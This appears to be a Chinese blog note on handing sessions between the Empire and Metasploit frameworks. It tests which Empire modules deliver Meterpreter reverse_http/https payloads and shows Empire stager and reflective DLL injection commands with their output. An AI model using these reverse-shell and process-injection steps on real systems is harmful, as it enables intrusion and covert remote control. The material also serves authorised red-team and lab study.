Empire to Meterpreter
最近重温了下empire
框架,发现之前通过invoke_shellcode
模块来执行meterpreter/reverse_https
的方法在新版empire v2.5
里面行不通,做了不少测试后得到以下几个结论:
- 单独执行
msfvemon
生成的exe文件,如果能反弹,那么就是empire的问题。 - windows 2008 r2下无法使用
https
隧道反弹[1],而windows 10没有这个问题。 -
empire
的https监听器好像是有问题的,已有人提出issue -
invode_shellcode
模块只支持staged
的meterpreter/reverse_http[s]
,不支持meterpreter_reverse_http[s]
测试结果如下表(agent
以windows 2008 r2
为例)
empire模块 | msf exploit | msf payload | 结果 |
---|---|---|---|
invoke_metasploitpayload | web_delivery |
windows/x64/meterpreter/reverse_https |
无 |
invoke_metasploitpayload | web_delivery |
windows/x64/meterpreter/reverse_http |
无 |
invoke_metasploitpayload | web_delivery |
windows/meterpreter/reverse_https |
无 |
invoke_metasploitpayload | web_delivery |
windows/meterpreter/reverse_http |
正常 |
invoke_shellcode | handler |
windows/x64/meterpreter/reverse_https |
无 |
invoke_shellcode | handler |
windows/x64/meterpreter/reverse_http |
功能缺失 |
invoke_shellcode | handler |
windows/meterpreter/reverse_https |
无 |
invoke_shellcode | handler |
windows/meterpreter/reverse_http |
功能缺失 |
invoke_reflectivepeinjection | msfvemon | windows/x64/meterpreter/reverse_https |
无 |
invoke_reflectivepeinjection | msfvemon | windows/x64/meterpreter/reverse_http |
无 |
invoke_reflectivepeinjection | msfvemon | windows/meterpreter/reverse_https |
无 |
invoke_reflectivepeinjection | msfvemon | windows/meterpreter/reverse_http |
无 |
这里的功能缺失指的是,meterpreter
反弹回来之后,能够执行的命令只有core comanand
。
因为阶段性加载dll
的关系,后面的dll
不知什么原因没有加载到。
通过load
指令显示No response was received to the core_enumextcmd request.
,也是加载失败。
一些TIPs
- 当
handler
设置的payload
为windows/meterpreter/reverse_http
时,可以同时处理staged
和stageless
两类的反弹。 -
web_delivery
和payload
通过设置url路径来重用端口;handle
设置ExitOnSession false
,可以让多个会话复用同个端口。 - empire中的
host
,用起来更像是完整的url而不是ip。 -
web_delivery
,单独使用也是个不错的选择。
Meterpreter to Empire
empire生成一个dll文件
(Empire: listeners) > usestager windows/dll
(Empire: stager/windows/dll) > set Listener http
(Empire: stager/windows/dll) > execute
meterpreter使用dll注入,设置好会话id和系统权限的进程id后执行。
msf post(windows/manage/reflective_dll_inject) > exploit
[*] Running module against WEB
[*] Injecting /tmp/launcher.dll into 2400 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed
TODO : Cobalt strike